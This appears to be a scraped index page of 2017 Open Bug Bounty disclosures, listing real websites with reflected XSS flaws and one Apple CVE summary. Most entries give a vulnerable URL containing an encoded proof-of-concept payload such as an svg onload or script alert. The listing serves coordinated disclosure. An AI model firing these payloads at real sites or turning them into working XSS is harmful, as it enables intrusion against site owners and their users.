bananatic.se XSS vulnerability

On the 23.10.2017 security researcher reported a XSS vulnerability affecting the bananatic.se website via the Open Bug Bounty coordinated vulnerability disclosure program. Coordinated Disclosure Timeline: Description| Value ---|--- Vulnerability submitted via Open Bug Bounty| 23 October, 2017 10:...

as2tv.com XSS vulnerability

Vulnerable URL: http://www.as2tv.com/?s=%22%3E%3Csvg/onload%3Dconfirm/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4210 VIP website status:| Yes Coordinated Disclosure Timeline: Description|...

CVE-2017-7138

An issue was discovered in certain Apple products. macOS before 10.13 is affected. The issue involves the "Directory Utility" component. It allows local users to discover the Apple ID of the computer's owner...

beatstars.com XSS vulnerability

Vulnerable URL: https://www.beatstars.com/sell-music/signup/?do=subscribeURI=%27-alert%27XSSPOSED%27-%27 Details: Description| Value ---|--- Patched:| Yes, at 22.11.2017 Latest check for patch:| 22.11.2017 09:46 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

iutnantes.univ-nantes.fr XSS vulnerability

Vulnerable URL: http://www.iutnantes.univ-nantes.fr/servlet/com.jsbsoft.jtf.core.SG?ACTION=LISTEJOUR=x%22%3E%3CsvG%20onLoad=prompt9%3E=0000RUBRIQUE=1492766267554=29/10/2017=agenda=0000=RECHERCHEAGENDA=IUTN=0000 Details: Description| Value ---|--- Patched:| Yes, at 22.11.2017 Latest check for...

deccofelt.com XSS vulnerability

Vulnerable URL: http://www.deccofelt.com/result?searchquery=%27%22/%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 8368826 VIP website status:| No Coordinated...

moviehdgo.com XSS vulnerability

Vulnerable URL: http://moviehdgo.com/search.php?id=%27%22/%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2364428 VIP website status:| No Coordinated Disclosure...

cbgmadison.com XSS vulnerability

Vulnerable URL: http://www.cbgmadison.com/member-search.php?noofdisplayedrows=3ofrowspage=%27%22/%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3Estr=name=name=name=industry=by=firmDesc=ASC Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:|...

pubgshowcase.com XSS vulnerability

Vulnerable URL: http://pubgshowcase.com/skin.php?item=P%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 152875 VIP website status:| No Coordinated Disclosure Timeline:...

francoisedolto.entcreuse.fr XSS vulnerability

Vulnerable URL: http://francoisedolto.entcreuse.fr/vie-du-college/restauration/menu-du-lundi-16-au-20-octobre-2017-977.htm?URLBLOGFILTRE=x%22%3E%3CsvG%20onLoad=prompt9%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

louisbouilhet.arsene76.fr XSS vulnerability

Vulnerable URL: http://louisbouilhet.arsene76.fr/le-college/agenda/sg.do?DATECOURANTE=1508104919000=G@181=AGENDAGROUPE=x%22%3E%3CsvG%20onLoad=prompt9%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / N...

computerelite.net XSS vulnerability

Vulnerable URL: https://computerelite.net/p2.php?prg=1=59eb992c7651c=%3C/div%3E%22%22%27%27%27%3E%3E/%3E%3C%27%3C%27%27%3C.%22%3Csvg/onload=alert%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| Yes, at 24.10.2017 Latest check for patch:| 24.10.2017 00:12 GMT Vulnerability type...

vidativa.com.br XSS vulnerability

Vulnerable URL: http://www.vidativa.com.br/modules/modjoinstagrambox/tmpl/instagrambox.php?username=xss%22%3E%3Csvg/onload=prompt/openbugbounty/%3E=〈=pt-BR=true=true=100%=330pxℑ=medium=222222=F8F8F8=FFFFFF==260796206.0efbe26.89a76a9668934089a2d00d928486fd26 Details: Description| Value ---|---...

romainrolland.arsene76.fr XSS vulnerability

Vulnerable URL: http://romainrolland.arsene76.fr/vie-du-college/le-blog-de-la-section-bilangue-/lettre-a-elise-beethoven-5415.htm?URLBLOGFILTRE=x%22%3E%3CsvG%20onLoad=prompt9%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclose...

pampoen.co.za XSS vulnerability

Vulnerable URL: http://www.pampoen.co.za/forum/calendar.php?type=events=x%22%3E%3CsvG%20onLoad=prompt9%3E Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 22:56 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

visionpos.com XSS vulnerability

Vulnerable URL: http://visionpos.com/proc-signup.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 19.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 17232267 VIP website status:| No Coordinated Disclosure Timeline: Description|...

brooklands-estates.co.uk XSS vulnerability

Vulnerable URL: http://www.brooklands-estates.co.uk/search-result.php?additions=0=%27%22/%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3E=hpz=all=all=0=0=any=all Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 20:53 GMT Vulnerability type:| XS...

dayz.nl XSS vulnerability

Vulnerable URL: https://www.dayz.nl/en/search?controller=search=position=descquery=%3C/script%3E%3Csvg/onload=prompt5%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7576064 VIP website status:| No Coordinated...

cmb.fr XSS vulnerability

Vulnerable URL:...

ems.posindonesia.co.id XSS vulnerability

Vulnerable URL: http://ems.posindonesia.co.id/index.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 19.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Coordinated Disclosure...